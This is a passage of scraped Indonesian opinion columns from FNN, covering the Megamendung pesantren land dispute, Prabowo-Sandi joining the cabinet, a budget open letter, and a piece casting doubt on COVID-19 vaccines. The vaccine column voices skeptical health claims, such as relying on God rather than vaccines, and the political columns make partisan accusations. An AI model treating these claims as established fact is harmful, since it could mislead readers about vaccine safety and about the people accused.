Diajarkan berkebun, bukan membuat perkebunan. Anak-anak santri MS diajarkan hidup mandiri, bukan menipu Bank Mandiri. Mereka diajarkan berbagi rezeki, bukan bagi-bagi uang korupsi. Kelak diharapkan para santri akan menjadi inisiator bansos, bukan koruptor bansos. Di pesantren MS, para santri tidak diajarkan membuat Tambang Batubara. Jauh dari itu. Tetapi mereka dididik agar tidak terjerumus seperti Juliari Batubara. Anak-anak santri itu tidak hanya belajar agama. Mereka juga belajar matemateika, dan pengetahuan umum. Pengetahuan umum mereka lumayan luas. Misalnya, mereka tidak hanya tahu tentang peranan penting Menhan Prabowo. Tapi mereka juga paham tentang kisah benur lobster Edhy Prabowo. Jadi, lahan 31 hektar yang dipakai HRS di Megamendung itu bukan untuk memperkaya pribadi. Melainkan untuk memperkaya kepribadian. Silakan Anda cek apa yang dilakukan oleh para konglomerat di atas berjuta hektar lahan yang mereka kuasai. Namun, kalau kalian masih perlu lahan 31 hektar yang dibeli resmi oleh HRS dari warga setempat, beliau pasti akan menyerahkanya.[] (Penulis wartawan senior FNN.co.id)

Vaksin Covid Masih Meragukan, Pakar: Telusuri Riwayat Uji Klinisnya (1)

by Mochamad Toha Surabaya FNN - Sabtu (26/12). Prof. Yuwono, seorang Dokter Spesialis Mikrobiologi Klinik, mengungkapkan, pada pekan pertama uji klinis di United Kingdom (UK): Efek samping alergi dan bell's palsy (lumpuh wajah) yang terjadi setelah disuntik vaksin pfizer adalah hal yang serius secara medis. “Ada apa sebenarnya? Sebenarnya itu karena uji klinis fase 3 yang menjamin keamanan dan efektifitas Belum Selesai di seluruh dunia, termasuk uji klinis di Kota Bandung,” ungkapnya dalam akun Facebook Prof. Yuwono, Kamis (10/12/2020). Catatan lainnya, kata Prof. Yuwono, adalah vaksin pfizer itu hanya RNA Virus, sedangkan Sinovac itu Virus Utuh, logikanya bisa jadi efek sampingnya lebih beragam dibanding yang RNA saja. Sebagai dokter spesialis mikrobiologi klinik ia wajib menyuarakan ini, sebagai konsekuensi dari sumpah dokter: “Saya akan menghormati kehidupan mulai dari pembuahan” dan prinsip praktik dokter “the first do not harm”, yang utama dan pertama jangan bikin cilaka pasien”! “Moga ini didengar oleh siapapun para pemimpin agar jangan bikin cilaka warganya dalam hal apapun!” ujar Prof. Yuwono.Bahwa vaksin akan berkontribusi sebagai salah satu cara mengakhiri pandemi, menurut Prof Yuwono, itu mungkin. “Tapi faktor lain seperti sembuh sudah 80%, yang sakit berat kurang dari 1%, yang wafat 3%, dan kehati-hatian masyarakat yang semakin baik, apakah ini bukan modal untuk mengakhiri pandemi covid?” tegas Prof. Yuwono. “Coba buka data Pandemi HIV AIDS yang fatal 100% dan belum ada 1 pun yang sembuh! Jangan fokus dan cuma ngandalkan vaksin, tapi andalkan Allah Tuhan Yang Maha Kuasa serta kompak-kompak saling lindungi dan bantu sesama warga NKRI,” lanjutnya. “Jangan seperti berita ramai saat ini, apapun dalihnya, membuat warga takut, susah, sakit atau mati adalah langkah tak manusiawi!” ungkap Prof. Yuwono mengingatkan. Reaksi alergi setelah disuntik Vaksin Covid-19 Pfizer juga diuraikan Arie Karimah, Pharma-Excellent, Alumni ITB. Dua tenaga kesehatan (perempuan setengah baya) di Alaska, AS, dan dua lainnya di UK dilaporkan mengalami reaksi alergi yang parah, dikenal sebagai reaksi anafilaktik. Reaksi muncul beberapa menit setelah vaksin disuntikkan secara intramuskular (ke dalam otot). Tandanya adalah: Pemerahan di wajah, akibat pelebaran pembuluh darah. Sesak nafas, akibat penyempitan saluran pernafasan. “Reaksi alergi ini disebut sebagai adverse effect atau reaksi yang tidak diharapkan, dan bersifat merugikan,” ungkap Arie Karimah. Sedangkan efek samping (side effect) juga merupakan reaksi yang tidak diharapkan, tidak selalu merugikan bahkan kadang-kadang membawa manfat. Efek samping vaksin Pfizer: demam, sakit kepala, atau nyeri otot. Kedua perempuan Alaska tersebut tidak mempunyai riwayat alergi sebelumnya. Perempuan pertama sebelumnya mencoba mengatasi reaksi alergi itu dengan minum kapsul antialergi Benadryl, namun tidak membawa manfaat. Akhirnya dibawa ke rumah sakit dan mendapat suntikan epinefrin (EpiPen), yang merupakan standar pengobatan untuk reaksi anafilaktik. Selain itu juga mendapat obat lambung Pepcid dan Benadryl melalui infus. Gejalanya segera mereda setelah mendapat epinefrin. Orang pertama itu mendapat vaksinasi hari Selasa, dan perlu diobservasi di rumah sakit semalam. Sementara orang kedua disuntik pada hari Rabu dan langsung pulih sepenuhnya. Reaksi anafilaktif terhadap suntikan vaksin tersebut merupakan kasus yang sangat jarang terjadi (langka), dan umumnya hanya berlangsung singkat, jika segera mendapat suntikan epinefrin. Dan sesuai aturan yang sebelumnya sudah dikeluarkan oleh FDA, barang siapa mengalami reaksi alergi pada suntikan vaksin yang pertama itu, maka yang bersangkutan tidak akan mendapat suntikan kedua (booster). Di UK seminggu sebelumnya juga dilaporkan ada 2 tenaga kesehatan yang mengalami reaksi anafilaktik. Reaksi segera tertangani karena keduanya memang sudah menyiapkan suntikan epinefrin. Keduanya memiliki riwayat alergi tersebut. Menurut Arie Karimah, UK kini telah membuat rekomendasi baru: Siapapun yang pernah punya riwayat alergi parah sebaiknya tidak ikut vaksinasi. Sebenarnya reaksi anafilaktik Sudah Pernah dilaporkan dalam uji klinis di UK, sehingga Alaska sudah siap dengan penangkalnya. Ini adalah kasus pertama di AS, dan program vaksinasi akan tetap berjalan sesuai yang sudah direncanakan. Para dokter di AS kini diminta untuk memberi perhatian tentang kemungkinan munculnya reaksi alergi yang langka ini pada suntikan pertama vaksin. FDA sendiri sebenarnya sudah mengeluarkan aturan tentang siapa yang Tidak Boleh divaksinasi: Mereka yang mempunyai riwayat alergi Parah, pada suntikan pertama dengan vaksin. Mereka yang alergi Parah terhadap komponen vaksin. Menurut Arie Karimah, arti aturan ini bagi praktisi: Tetap toh harus mengalami reaksi alergi dulu disuntikan pertama, baru tidak boleh mendapat suntikan kedua (booster); Bagaimana bisa tahu alergi terhadap komponen vaksin (yang begitu banyak), kalau tidak dilakukan tes alergi terlebih dahulu. Bagi yang belum pernah belajar tentang alergi: Alergi adalah suatu Kelainan, bukan penyakit, dimana tubuh seseorang menganggap zat yang tidak berbahaya bagi Sebagian Besar orang sebagai zat berbahaya untuknya. Uji klinis vaksin Sinovac itu sudah didesain Dengan Benar. Kalau ada “manipulasi” di tengah jalan akan diketahui dari hasilnya. Dokter, Clinical Pharmacist dan Clinical Trial Experts akan mengetahuinya. Ada istilah namanya inclusion criteria dan exclusion criteria. Siapa-siapa yang boleh menjadi volunteers dan siapa yang tidak diikutsertakan sebagai volunteers. “Daftar exclusion criteria sangat panjang. Artinya, jangan tanya efek vaksin terhadap orang-orang yang masuk dalam kategori exclusion criteria,” ujar Arie Karimah. Kenapa tidak dilibatkan? Menurutnya, ini akan membutuhkan waktu uji klinis yang panjang, sementara keberadaan vaksin Covid-19 sangat mendesak dibutuhkan, karena angka kematian di seluruh dunia yang begitu tinggi (1,6 juta). Dan, jumlah populasi yang terinfeksi terus meningkat dalam jumlah puluhan juta (76,6 juta). Biaya akan sangat tinggi. Resiko kematian dalam uji klinis mungkin lebih besar. Arie Karimah menyebut, biasanya akan dilibatkan dalam uji klinis lanjutan, atau diketahui efeknya secara tidak sengaja dalam uji klinis fase 4 (post marketing surveillance). “Klaim dalam obat dan vaksin itu harus berdasarkan bukti statistik (evidence-based), yang diperoleh dari uji klinis. Bukan asal mangap, atau saya kira, atau saya duga,” ungkapnya. Menurut Arie Karimah, jika uji klinis fase 2 dilakukan dengan baik, mestinya fase 3 berjalan lancar. Seperti kandidat-kandidat vaksin yang lain. Tapi kalau fase 3 dilakukan sebelum hasil fase 2 dipublikasikan, “Ya begini jadinya: maju kena mundur kena.” (Bersambung) Penulis wartawan senior FNN.co.id ***

Prabowo-Sandi Dan Sejarah Hitam Demokrasi

by M Rizal Fadillah Bandung FNN – Sabtu (26/12). Setelah Calon Presiden 2019 Prabowo Subianto menjadi Menteri Pertahanan dalam Kabinet Jokowi, kini Calon Wakil Presiden Sandiaga Salahudin Uno juga masuk Kabinet. Komitmen awal untuk siap menjadi oposisi 5 tahun ke depan runtuh sudah sudah. Rekor Muri patut disematkan untuk sejarah demokrasi bangsa Indonesia. Dimana Prabowo-Sandi ternyata sangat senang hati untuk menjadi "pembantu"Jokowi. Keterlibatan mereka berdua sebagai Capres-Cawapres 2019 hanya dagelan belaka. Bohong-bohongan saja. Ujung-ujungnya hanya ingin punya jabatan di pemerintahan. Semua itu bisa dipahami, karena karier paling tinggi bagi Prabowo hanya bintang tiga di TNI Angkatan Darat. Belom pernah jadi menteri sejak pengisun dari dinas aktif militer. Hitung-hitung, dengan menjadi Menteri Pertahanan, ada penambahan jabatan di pemerintahan pada daftar curriculum vitae bahwa Probowo juga pernah menjadi menteri. Prabowo yang galak saat kampanye membuat pendukung bangga dan mengacungkan jempol. Soekarno baru telah muncul di bumi pertiwi ini. Para pendukung rela mengorbankan harta bendanya demi sukses perjuangan sang panutan menjadi Presiden. Pengorbanan pendukung disamping mengumpulkan dana kampanye juga dengan pengorbanan jiwa, tewas 6 atau bahkan 9 orang, dan luka luka 600 orang saat aksi protes di depan Bawaslu 21-22 Mei 2019 lalu. Rupanya bukan hanya Prebowo. Kini kejutan kembali terjadi. Setelah diumumkan oleh Jokowi bahwa Sandiaga Salahudin Uno menjadi salah satu Menteri hasil reshuffle, maka lengkaplah kekecewaan pendukung Prabowo-Sandi. Sumpah serapah pun bermunculan di kalangan para pendukung di media sosial. Ada yang karena sakit hati menyumpahi dengan predikat "dasar penghianat". Keduanya menjadi bahan olok-olok di media sosial sebagai performance manusia yang tidak istiqamah. Pertimbangan didominsi oleh kalkulasi untung rugi. Para pendukung jadi teringat dengan omongan aktivis 98 yang kini menjadi Ketua Bappilu Partai Demokrat Andi Arief, yang pernah menjuluki Prabowo sebagai “Jendral Kardus”. Omongan Andi Arief seperti menjadapatkan pembenaran hari ini. Sebagian lagi pendukung sudah tak peduli pada keduanya. Pendukung berkonklusi bahwa memang seperti itulah kualitas keduanya. Bahkan ada yang bersyukur untung katanya tidak menjadi Presiden dan Wakil Presiden. Kalau menang, dan menjadi Presiden-Wakil Presiden, jangan-jangan mengelola pemerintahan bisa lebih parah dari yang sekarang. Tidah usah jauh-jauh ambil perbandingan. Lihat saja kader Gerindara, mantan Menteri Kelautan dan Perikanan Edhy Prabowo yang terkena Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK) terkait benur udang. Nah, Ketua Umum Gerindra tidak menjadi Presiden saja begitu. Bagaimana kalau Prabowo menjadi Presiden. Bisa lebih parah dong??? Ketika rakyat menghadapi masalah seperti tokoh yang dikriminalisasi. Gonjang-ganjing perundang-undangan yang merugikan rakyat. Kasus pelanggaran Hak Asasi Manusia (HAM) oleh aparat, Prabowo yang Menteri Pertahanan itu diam seribu bahasa. Begitu pula dengan Sandi Uno. Tak muncul komentar sebagai rasa empati kepada korban, apalagi sampai pembelaan segala. Dalam kaitan kehidupan demokrasi, masuknya Prabowo-Sandi dalam Kabinet Presiden Jokowi menjadi catatan sejarah hitam. Baru kali ini terjadi di Indonesia, mungkin juga di dunia. Catatan hitam, karena buruk sebagai preseden. Bahasanya, jika cuma sekedar mau jadi Menteri, buat apa bertarung habis-habisan dalam Pilpres. Jadi pendukung lawan saja dari dahulu Choy. Catatan hitam lain adalah membunuh budaya pengawasan dan perimbangan kekuatan. Semestinya kontrol terhadap kekuasaan itu harus kuat. Prabowo-Sandi dapat memimpin kekuatan pengawasan dan perimbangan ini. Akan tetapi dengan masuknya Prabowo-Sandi dalam Kabinet Jokowi, maka hal itu sama saja dengan memperkokoh oligarkhi. Apa boleh buat. Catatan sejarah hitam demokrasi Indonesia itu telah ditorehkan oleh Prabowo-Sandi. Mereka berdua merusak sendi demokrasi bangsa. Secara tak disadari keduanya telah berkontribusi dalam membangun kultur otokrasi. Jokowi yang semakin jumawa. Penulis adalah Pemerhati Politik dan Kebangsaan.

Indonesia Butuh Sosok Abdul Mu'ti Yang Banyak

by Tony Rosyid Jakarta FNN – Sabtu (26/12). Siapa yang tidak suka jabatan? Dalam jabatan ada identitas dan status. Dalam jabatan ada curriculum vitae. Ini akan jadi catatan sejarah. Dalam jabatan, ada kehormatan sosial. Dalam jabatan ada akses kekuasaan. Dalam jabatan ada kebanggaan untuk mengangkat nama besar keluarga. Dan dalam jabatan juga ada kesejahteraan. Kata McClelland, ada tiga kebutuhan manusia. Need for achievement, kebutuhan akan prestasi. Need for affiliation, kebutuhan akan kasih sayang. Dan Need for power, kebutuhan untuk berkuasa. Salah satu kebutuhan alami manusia adalah kekuasaan. Makin tinggi jabatan seseorang, makin tinggi akses kekuasaan yang dimiliki. Disitu kesejahteraan dan sejenisnya bisa diakses. Disaat banyak orang berebut jabatan, Abdul Mu'ti, Sekjen Muhammadiyah ini menolak ditawari jadi salah satu Wakil Menteri Pendidikan. "Gak mampu" kata Abdul Mu’ti menolak. Tentu saja publik nggak percaya dengan alasan Abdul Mu’ti itu. Alasan yang terkesan dibuat-buat untuk meredam kegaduhan. Supaya yang memberi tawaran juga nggak tersinggung. Sosok Mu'ti adalah seorang guru besar. Aktifis dan lama berkarir di organisasi besar, yaitu Persyarikatan Muhammadiyah. Orang tahu, Muhammadiyah cukup rapi dan disiplin pola perkaderan. Muhammadiyah melahirkan sosok Hamka yang tegas. Sekarang ada Anwar Abbas, mantan Sekjen MUI dan Abdul Mu’ti, Sekjen Muhammadiyah. Dua sosok yang sangat tegas dan lugas. Nahdatul Ulama (NU) pada masa lalu juga melahirkan ulama tegas seperti KH. Hasyim Asy'ari dan KH. Wahab Hasbullah. Lalu belakangan ada Gus Dur, yang karena berpegang pada prinsip dan ketegasannya rela meninggalkan istana dan melepaskan jabatannya sebagai presiden. Sosok-sosok tegas seperti ini sudah mulai langka kita temui hari ini. Kembali ke Abdul Mu'ti. Ia adalah Sekjen Muhammadiyah. Posisi sebagai Sekjen hanya akan diberikan kepada sosok yang matang, mampu menggerakkan organisasi, administrator, jago lobi, dan piawai dalam berkomunikasi. Abdul Mu'ti punya semua itu. Jadi, nggak mungkin nggak mampu untuk menjadi sekedar Wakil Menteri Pendidikan. Ketua Ansor bisa jadi Menteri. Masak Sekjen PP Muhammadiyah nggak mampu jadi Wakil Menteri Pendidikan? Nggak mungkin itu. Sedikit banyak saya tahu sosok Mu'ti. Kebetulan dia kakak kelas saya di salah satu universitas negeri di Semarang. Sama-sama lanjut pasca sarjana di universitas negeri yang sama di Jakarta. Mu'ti adalah sosok berintegritas dan punya kapasitas. Tidak hanya untuk menjadi Wakil Menteri Pendidikan. Untuk menjadi menteri pun Abdul Mu'ti sangat mampu. Dalam hal ini, pasti ada alasan lain mengapa ia menolak jabatan yang diberikan oleh Jokowi. Supaya jangan su’udzon, alasan itu hanya Abdul Mu’ti dan Allah Subhaanuhu Wata’ala yang tahu. Boleh jadi karena negara sedang berjalan ke arah yang salah, sehingga menjadi alasan bagi Abdul Mu'ti nggak ikut di kapal yang berisiko tinggi untuk tenggelam. Abdul Mu’ti ini anak muda yang cemerlang. Masih panjang kesempatan karirnya untuk mengabdi kepada umat dan bangsa di masa depan. Soal alasan yang sebenarnya, hanya Mu'ti dan Tuhan yang tahu persis mengapa ia menolak permintaan presiden itu. Namun ketegasan sikap Mu'ti bukan tanpa risiko. Sebab siapapun hari ini yang menolak untuk bergabung dengan penguasa, seringkali dianggap oposisi. Bahkan tak jarang diposisikan sebagai lawan. Malah ada yang dipolisikan. Mu'ti seorang pemberani. Tegas dalam mengambil keputusan dan menjaga prinsipnya. Sikap dan ketegasan ini layak diapresiasi. Jabatan yang umumnya menjadi lahan rebutan bagi partai, ormas, timses, donatur, kolega dan keluarga penguasa, dengan tegas ditolaknya. Sikap Mu'ti perlu jadi referensi. Pertama, tak boleh berebut jabatan sehingga peluang orang-orang profesional dan berkemampuan yang ingin mengabdi kepada bangsa dan negara jadi sempit. Kedua, jangan terima jabatan jika merasa situasi tak kondusif untuk produktif. Ketiga, jangan ambil jabatan jika tak betul-betul yakin bisa membenahi. Keempat, siap menghadapi segala bentuk risiko ketika anda menolak jabatan. Risiko usaha bagi pengusaha, risiko politik bagi politisi, dan bahkan risiko penjara bagi aktifis. Imam Abu Hanifah dan Imam Syafi'i, dua imam mazhab yang sangat populer bagi umat muslim di Indonesia seringkali dijadikan rujukan ideal bagi mereka yang berani menolak jabatan. Mungkin Mu'ti mengikuti jejak kedua imam ini. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

PTPN VIII Bisa Menjadi Tertuduh, Jika Terbukti Telantarkan Lahan

PTPN VIII vs Pesantren Agrokultural Markas Syariah (HRS) sebuah pendekatan Normatif. by Maiyasyak Johan Bogor FNN - Sabtu (26/12). Somasi PTPN VIII kepada pihak Pesantren Agrokultural markas Syariah (HRS), telah membuat masyarakat luas tersentak - dan setuju atau tidak, pendekatan politik pun tak terhindarkan. Terlepas dari itu semua, secara formal hingga saat ini Indonesia masih merupakan negara hukum, karena itu kita harus melihat sengketa antara PTPN VIII dengan Pihak Pesantren ic HRS dari sisi hukum. Dari aspek hukum perdata, kedudukan dari Pihak Pesantren/HRS bisa disebut sebagai “Pihak pembeli yang beritikad baik”. Dikatakan sebagai pihak pembeli yang beritikad baik karena peralihan hak dari pihak yang mengaku sebagai pemilik. Dan itu sudah berlangsung lama, setidaknya sejak transaksi peralihan hak dari yang mengaku sebagai pemilik dengan pihak Pesantren/HRS. - sementara pihak PTPN VIII menjelaskan sejak tahun 2013. Yang membuat publik bertanya adalah dari tahun 2013 hingga saat ini, terutama kita bangunan fisik pesantren dilakukan pihak PTPN di mana? Pertanyaan ini mengajak kita mundur ke belakang, sejak tahun berapa pihak-pihak yang menjual tanah tersebut kepada pihak pesantren/HRS menguasai tanah tersebut? Bisa jadi tanah itu merupakan HGU dari PTPN - tetapi telah ditelantarkan dan dikuasai oleh masyarakat termasuk beberapa pejabat. Dan pihak pesantren/HRS membeli dari mereka. Secara teoritis dan normatif di sini ada dua kemungkinan. Kemungkinan pertama bahwa komplain pihak PTPN VIII telah lewat waktu (kadaluwarsa); kemungkinan kedua, menurut hukum acara seharusnya pihak PTPN VIII mengajukan komplain baik pidana atau perdata kepada pihak yang menjual tanah tersebut kepada pihak pesantren/HRS. Karena pihak pesantren/dengan diketahui semua aparat dari mulai kepala desa hingga gubernur membeli tanah tersebut dari pihak lain, yang mengaku dan menerangkan tanah tersebut miliknya. Pengakuan itu dibenarkan oleh pejabat-pejabat yang terkait yang mengetahui dan memproses administrasi peralihan hak atas tanah tersebut. Dari uraian di atas, maka, secara hukum, dilihat dari aspek hukum perdata dan hukum acara perdata PTPN VIII keliru dan tidak memiliki alasan hukum untuk meminta pihak HRS Mengosongkan lahan tersebut. Kecuali ada putusan pengadilan Yang berkekuatan tetap yang memutuskan bahwa kedudukan Pihak Pesantren/HRS sebagai pembeli beritikad baik dibatalkan. Dengan kata lain, Somasi tersebut prematur serta salah pihak. Dari aspek hukum pidana, pihak PTPN VIII harus menyadari bahwa posisi hukumnya saat ini adalah ada sengketa kepemilikan antara PTPN VIII dengan HRS. Sengketa itu berdiri di atas klaim Yang sah. PTPN mengaku itu tanah merupakan bagian dari HGU miliknya, dan Pihak Pesantren/HRS mengaku itu juga miliknya yang diperoleh secara sah dan halal dari pihak Yang mengaku sbg pemilik tanah tersebut. Berdasarkan ketentuan pasal 81 Kitab Undang undang Hukum Pidana, penyidik tidak dapat melakukan proses pidana dengan tuduhan menguasai hak orang lain, sebelum ada keputusan hukum yang menyatakan tanah itu milik siapa. Dan harus diingat, pihak PTPN VIII juga bisa menjadi pihak yang potensial tertuduh bila terbukti telah lalai menjalankan kewajibannya menjaga serta memelihara aset negara sehingga dikuasai pihak lain bahkan mengalihkannya kepada pihak lainnya, dalam hal ini pihak pesantren/HRS. Begitulah saya memandang kasusnya menurut hukum perdata, hukum acara perdata dan hukum pidana khususnya pasal 81 KUHP. Ini bila kita sepakat bahwa ini masalah hukum dan akan diselesaikan menurut hukum. Selain kita juga tahu siapa pihak yang mestinya dikejar oleh PTPN VIII secara hukum, ternyata bukan Pesantren/HRS. Bila bukan lewat mekanisme hukum, tentu itu jadi aneh dan luar biasa. Penulis adalah praktisi hukum.

Surat Terbuka Kepada Dewan: APBN dan SiLPA Bisa Merugikan Negara dan Melanggar Hukum

by Anthony Budiawan Jakarta FNN - Jumat (25/12). Sementara ini, Bapak dan Ibu Dewan (Perwakilan Rakyat) mungkin tidak memperhatikan lagi pengelolaan APBN (Anggaran Pendapatan dan Belanja Negara) dan keuangan negara secara seksama. Hal ini dapat dimaklumi. Karena Dewan sudah kehilangan hak budget atau hak anggaran sampai tahun 2022 akibat dikeluarkannya Peraturan Pemerintah Pengganti Undang-Undang (PERPPU) No 1 Tahun 2020 pada 31 Maret 2020 (“Perppu Corona”), yang kemudian disahkan menjadi UU No 2 Tahun 2020 (“UU Corona”). Berlandaskan Perppu dan UU tersebut di atas, pemerintah menetapkan APBN 2020 secara sepihak, tanpa perlu persetujuan Dewan. APBN 2020 hanya dituangkan dengan Peraturan Presiden (Perpres) No 54 tahun 2020 dan Perpres No 72 tahun 2020, dengan defisit anggaran mencapai Rp1.039 triliun. Dewan yang terhormat. Kami prihatin dengan cara pengelolaan APBN dan Keuangan Negara yang sangat mengkhawatirkan dan bisa membahayakan perekonomian nasional. Cara ini sudah berlangsung cukup lama, dan puncaknya tahun 2020. Pengelolaan APBN dan Keuangan Negara seperti ini bisa memicu krisis fiskal (keuangan negara), krisis ekonomi, selain juga berpotensi melanggar peraturan perundang-undangan yang berlaku. Alasannya sebagai berikut. Pendapatan negara per November 2020 hanya Rp1.423 triliun, turun tajam dibandingkan tahun lalu Rp1.677 triliun. Sedangkan di sisi Belanja terjadi kenaikan tajam, dari Rp2.046 triliun per November 2019 menjadi Rp2.306,7 triliun per November 2020. Hal ini membuat defisit anggaran naik tajam, dari Rp368,9 triliun per November 2019 menjadi Rp883,7 triliun per November 2020, atau sekitar 6,3 persen dari perkiraan PDB. Defisit anggaran ini menjadi rekor defisit terbesar sepanjang Indonesia berdiri. Baik dalam nilai nominal maupun persentase PDB. Dewan Yang Terhormat. Yang menjadi persoalan bukan Kenaikan defisit anggaran yang fantastis ini. yang menjadi persoalan adalah penarikan utang untuk menambal defisit anggaran tersebut yang terkesan “ugal-ugalan”. Mohon maaf untuk kata “ugal-ugalan”. Karena, seyogyanya, penarikan utang yang juga disebut Pembiayaan Anggaran, hanya sebatas untuk membiayai defisit anggaran. Tidak boleh lebih. Dan ini juga tercantum di dalam Perpres dimaksud di atas: Perencanaan Pembiayaan (Penarikan Utang) sebesar defisit anggaran. Tetapi, apa yang dilakukan pemerintah tidak seperti itu. Per November 2020, pemerintah sudah menarik utang untuk menutupi defisit anggaran sebanyak Rp1.104,8 triliun. Sehingga terjadi kelebihan Pembiayaan Anggaran, dinamakan SiLPA (Sisa Lebih Pembiayaan Anggaran), sebesar Rp221,1 triliun. Setara 25 persen dari defisit anggaran. Besar sekali. Pengelolaan APBN dan Keuangan Negara seperti ini sangat membahayakan perekonomian nasional. Selain juga bisa melanggar UU. Oleh karena itu, mohon Dewan Yang Terhormat mengevaluasinya secara cermat dan seksama. Pertama, saldo akumulasi SiLPA (atau juga Saldo Anggaran Lebih (SAL)) per akhir tahun 2019 tercatat Rp212,7 triliun. Pertanyaannya, kenapa uang ini tidak digunakan untuk Belanja Negara dan menutupi defisit anggaran? Sebaliknya, pemerintah bahkan menambah SiLPA Rp221,1 triliun hanya dalam periode 11 bulan tahun 2020 ini. Akibatnya, saldo akumulasi SiLPA per akhir November 2020 membengkak menjadi Rp433.8 triliun. Kelebihan penarikan utang (SiLPA) ini sebenarnya tidak diperlukan, dan mubazir. Pasal 2 ayat (1) UU No 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi (Tipikor) menyatakan: “Setiap orang yang secara melawan hukum melakukan perbuatan memperkaya diri sendiri atau orang lain atau suatu korporasi yang dapat merugikan keuangan negara atau perekonomian negara, dipidana penjara dengan penjara seumur hidup atau pidana penjara paling singkat 4 (empat) tahun dan paling lama 20 (dua puluh) tahun dan denda paling sedikit Rp. 200.000.000,00 (dua ratus juta rupiah) dan paling banyak Rp. 1.000.000.000,00 (satu milyar rupiah).” Pasal 3 memuat: “Setiap orang yang dengan tujuan menguntungkan diri sendiri atau orang lain atau suatu korporasi, menyalahgunakan kewenangan, kesempatan atau sarana yang ada padanya karena jabatan atau kedudukan yang dapat merugikan keuangan negara atau perekonomian negara, dipidana dengan pidana penjara seumur hidup atau pidana penjara paling singkat 1 (satu) tahun dan paling lama 20 (dua puluh) tahun dan atau denda paling sedikit Rp. 50.000.000,00 (lima puluh juta rupiah) dan paling banyak Rp. 1.000.000.000,00 (satu milyar rupiah).” Dewan Yang Terhormat. Praktek pengelolaan Keuangan Negara yang mengakumulasi SiLPA hingga Rp443,8 triliun jelas merupakan praktek tidak wajar, dan terbukti merugikan Keuangan Negara akibat pemerintah harus bayar bunga atas utang yang tidak diperlukan. Kalau suku bunga utang 6 persen per tahun, maka kerugian negara mencapai Rp26 triliun per tahun. Pertanyaannya, siapa yang diuntungkan? Dengan demikian, unsur tindak pidana korupsi seperti dimaksud Pasal 2 ayat (1) atau Pasal 3 UU Tipikor di atas sudah terpenuhi. Bukankah begitu? Apakah Dewan Yang Terhormat juga sependapat? Selain itu, total kelebihan penarikan utang atau SiLPA sebesar Rp433,8 triliun tersebut bukan hanya berasal dari domestik. Tapi juga dari utang luar negeri (ULN) yang membuat ULN melonjak. Dewan Yang Terhormat. Menurut Pasal 10 TAP MPR No XVI/MPR/1998, seluruh utang luar negeri harus dimasukan di dalam rencana anggaran tahunan, dan mendapat persetujuan Dewan. Apakah amanat TAP MPR ini sudah dilaksanakan sepenuhnya oleh pemerintah dan juga Dewan? Apakah seluruh ULN sudah ada di dalam APBN atau Perpres 54 maupun Perpres 72 tersebut di atas? Dan apakah Dewan sudah menyetujuinya? Yang lebih memprihatinkan, menurut Pasal 23 ayat (1) dan ayat (2) UUD, APBN harus ditetapkan dengan undang-undang, dan dibahas bersama Dewan. Dengan demikian, APBN yang ditetapkan Perpres 54 dan Perpres 72 tersebut di atas berarti melanggar UUD, dan menjadi tidak sah demi hukum? Berarti, Dewan yang menyetujui Perppu Corona (menjadi undang-undang) dan turunannya Perpres 54 dan Perpres 72 pada prinsipnya juga melanggar UUD? Seperti kita ketahui, kalau eksekutif melanggar UUD dapat diberhentikan. Bagaimana konsekuensi dan sanksi pelanggaran kalau Dewan melanggar TAP MPR dan UUD? Apakah sudah ada peraturannya? Mohon Dewan yang mempunyai fungsi legislasi, fungsi anggaran dan fungsi pengawasan, sesuai Pasal 20A ayat (1) UUD, berkenan menjawab semua persoalan di atas. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Di Balik "Penggusuran" Ponpes Megamendung, Dirut PTPN VIII "Tersandera"?

by Mochamad Toha Bogor FNN - Jumat (25/12). Somasi yang dikirimkan oleh PTPN (PT Perkebunan Nusantara) VIII biasanya dapat teguran dari Administratur Gunung Mas PTPN VIII (setingkat bupati) tapi untuk Pondok Pesantren Markaz Syariah Megamendung ini yang turun tangan langsung Dirutnya, Mohammad Yudayat. Ini terlihat sangat politis sekali, bukan sebagai teguran yang untuk Penegakan Hukum. Perlu diketahui, tanah-tanah yang bermasalah di pajak ex perkebunan Cikopo Selatan Gunung Mas yang sekarang diklaim oleh PTPN VIII seluas sekitar 352.67 ha ini tersebar di 6 desa. 1. Dua desa yakni Desa Sukakarya dan Kopo, Kecamatan Megamendung seluas lebih kurang 94.26 ha; 2. Desa Sukagalih, Megamendung seluas lebih kurang 40.08 ha; 3. Desa Kuta, Kecamatan Megamendung seluas 65.46 ha; 4. Desa Sukaresmi, Kecamatan Megamendung seluas 97.71 ha; 5. Desa Citeko, Kecamatan Cisarua seluas lebih kurang 55.16 ha. Jadi, total semua di 6 di desa di 2 kecamatan itu seluas 352.67 ha. Sedangkan yang menduduki lahan lahan tanah ex PTPN Cikopo Selatan sebagai berikut: 1. Yayasan Wadi Mubarok, Desa Kuta seluas lebih kurang 5 ha; 2. Yayasan Al Mugni lebih kurang 4 ha Desa Kuta; 3. Yayasan Wadi Cidokom 1 ha Desa Kopo; 4. Yayasan Kristen Romo lebih kurang 40 ha di Desa Sukaresmi; 5. Bapak Jepri lebih kurang 35 ha Desa Sukaresmi; 6. Bapak Sugito 60 ha Desa Citeko; 7. Brigjen Polisi Edwarsyah Pernong 17.800 m2 Desa Sukagalih; 8. Jenderal Polisi Firman Gani 3 ha Desa Sukakarya; 9. Jenderal Polisi Condro Kirono lebih kurang 5 ha Desa Sukakarya; 10. Kolonel Isar Sampiray MB 6.000 m2 Desa Sukagalih; 11. Masdya Pur Kusnadi 1 ha Desa Sukagalih; 12. Ibu Lili 10 ha Desa Kuta; 13. Perusahan sayuran Korea 7 ha di Desa Kuta; 14. Perusahan bunga Alessia 5 ha Desa Sukaresmi;15. Markaz Syariah lebih kurang 30 ha di Desa Kuta; 16. Bapak Rosenvile 1 ha Kambing Sukaresmi; 17. Bapak Manurung 3 ha Sukakarya; 18. Anton Anggoman 3 ha Sukakarya; 19. Ibu Ina di Desa Kuta 3 ha; 20. Villa Bambu 2 ha Desa Kuta; 21. SMK di Desa Kopi; 22. Dokter gigi 5000 m2 pasir panjang Desa Sukakarya; 23. I Komang Agus Trijaya peternakan ayam 26.000 m2 di Desa Sukagalih; 24. PT Saung Mirwan /Pak Loki 4 ha pertanian di Desa Sukagalih; 25. Ibu Ningsih 1 ha Desa Sukagalih; 26. Bapak Sanjaya 9 ha di Desa Sukagalih; 27. Bapak Heru peternakan sapi 2,6 ha Desa 